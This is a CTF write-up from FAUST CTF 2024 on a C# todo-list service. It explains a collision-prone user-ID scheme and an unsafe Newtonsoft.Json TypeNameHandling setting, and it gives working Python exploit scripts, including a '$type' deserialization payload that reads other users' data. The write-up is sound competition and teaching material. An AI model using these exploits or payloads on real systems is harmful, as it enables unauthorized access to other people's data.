FAUST CTF 2024 Todo List service
| Tags:
I participated in this years FAUST CTF, alongside the Czech ECSC team, incognito with a fake team name: “Team Calabria”. I managed to score first blood on one of the services, this is the writeup.
An extremely feature-rich service written in C# (like srsly, why would you
implement 2FA for an A/D service and then never use it?). We identified two
different vulnerabilities, one based in the generation of user IDs and the other
one caused by an unsafe Newtonsoft.Json
configuration. The one we found first
and was used for the first blood was the former.
User ID vulnerability
There is a very wild looking function called GetUserId
, which is used to
generate an ID that identifies the owner of a TODO. When a TODO is created, the
current user’s ID is attached to it and only TODOs matching the current user’s
ID are displayed.
The function generates this ID solely from the username and the algorithm to generate this ID is however extremely bad and collisions can be created very easily. The username is first lowercased (or uppercased if it is short), then reversed, all vowels are replaced with asterisks, all asterisks are replaced with ones and then it is finally reversed again. Each character of the resulting string is then turned into a number by multiplying the character value by some constant and the resulting numbers are summed together. The resulting sum is then turned into a string and used as the ID.
This gives two opportunities for a collision:
- The following characters:
aeiou*1
are all equivalent and can be freely exchanged without changing the resulting user ID. - As the numbers are all summed at the end, all characters of the username can be reordered freely.
- (and generally any modification that is preserved in the sum, these are just the most obvious)
The first exploit looked something like this:
s = requests.session()
bs = BeautifulSoup(s.get(f"http://[{host}]:8080/Identity/Account/Register", timeout=2).text)
print("Got homepage")
veriftoken = (bs.find('input', {'name': '__RequestVerificationToken'}).get("value"))
s.post(f"http://[{host}]:8080/Identity/Account/Register", data={
"Input.Email": flag_id.replace("a", "1"),
"Input.Password": "NoNoNo1!",
"Input.ConfirmPassword": "NoNoNo1!",
"__RequestVerificationToken": veriftoken})
print("Registered")
flagtext = (s.get(f"http://[{host}]:8080/Todo/ListTodos").text)
print(flagtext)
To make it more robust and resistant to trivial patches and fake flags, we then expanded it:
password = ''.join(random.choice(string.ascii_uppercase + string.digits + string.printable) for _ in range(40))
for c in "a1eioux":
username = flag_id
if c == "a":
username .join([shuf(s) for s in username.split("@")])
elif c == 'x':
username = 'admin.' + shuf(username.split("@")[0].split(".")[1]) + "@" + username.split("@")[1]
else:
username = flag_id.replace("a", c)
print(username)
s = requests.session()
bs = BeautifulSoup(s.get(f"http://[{host}]:8080/Identity/Account/Register", timeout=2).text)
print("Got homepage")
veriftoken = (bs.find('input', {'name': '__RequestVerificationToken'}).get("value")) # type: ignore
s.post(f"http://[{host}]:8080/Identity/Account/Register", data={
"Input.Email": username,
"Input.Password": password,
"Input.ConfirmPassword": password,
"__RequestVerificationToken": veriftoken})
print("Registered")
flagtext = (s.get(f"http://[{host}]:8080/Todo/ListTodos").text)
flagtext = "\n".join([line for line in flagtext.split("\n") if 'FAUST_Q1' in line])
if "FAUST_Q1" in flagtext:
print(flagtext)
return
flagtext = (s.get(f"http://[{host}]:8080/Todo/Export?format=json").text)
flagtext = "\n".join([line for line in flagtext.split("\n") if 'FAUST_Q1' in line])
if "FAUST_Q1" in flagtext:
print(flagtext)
return
TypeNameHandling
vulnerability
The second vulnerability leveraged the TypeNameHandling
configuration option
of Newtonsoft.Json
. This configuration option is
bad
and is even discouraged by a
code quality rule
(which isn’t enabled by default though).
The option allows the attacker to include a $type
property in a JSON object,
which then causes the Newtonsoft
deserializer to deserialize it as any type
that is available in the current assembly. This poses an obvious code execution
vulnerability, as the attacker can call the constructor or property initializer
of any class. Conveniently, the Filter
class automatically adds itself into
the database when it’s initialized using its QueryString
property and thus can
be used to add arbitrary filters into the database and we can create a filter
that shows us the TODOs of a different user.
username = f"admin.{randstring(7)}@todo-list-{randstring(7)}.de"
password = ''.join(random.choice(string.ascii_uppercase + string.digits + string.printable) for _ in range(40))
s = requests.session()
bs = BeautifulSoup(s.get(f"http://[{host}]:8080/Identity/Account/Register", timeout=2).text)
print("Got homepage")
veriftoken = (bs.find('input', {'name': '__RequestVerificationToken'}).get("value")) # type: ignore
s.post(f"http://[{host}]:8080/Identity/Account/Register", data={
"Input.Email": username,
"Input.Password": password,
"Input.ConfirmPassword": password,
"__RequestVerificationToken": veriftoken})
print("Registered")
bs = BeautifulSoup(s.get(f"http://[{host}]:8080/Identity/Account/Login", timeout=2).text)
veriftoken = (bs.find('input', {'name': '__RequestVerificationToken'}).get("value")) # type: ignore
s.post(f"http://[{host}]:8080/Identity/Account/Login", data={
"Input.Email": username,
"Input.Password": password,
"__RequestVerificationToken": veriftoken})
print("Loggedin")
filtername = randstring(12)
s.post(f"http://[{host}]:8080/Todo/Import", files={"file": io.StringIO(json.dumps({
"$type": "service.Models.Filter, service",
"Id": 0,
"User": username,
"Name": filtername,
"QueryString": "{\"User\":\"" + flag_id + "\", \"Category\": \"\", \"FromTime\": -1, \"ToTime\": -1}",
}))})
flagtext = s.get(f"http://[{host}]:8080/Todo/ApplyFilter?name=" + filtername).text
print(flagtext)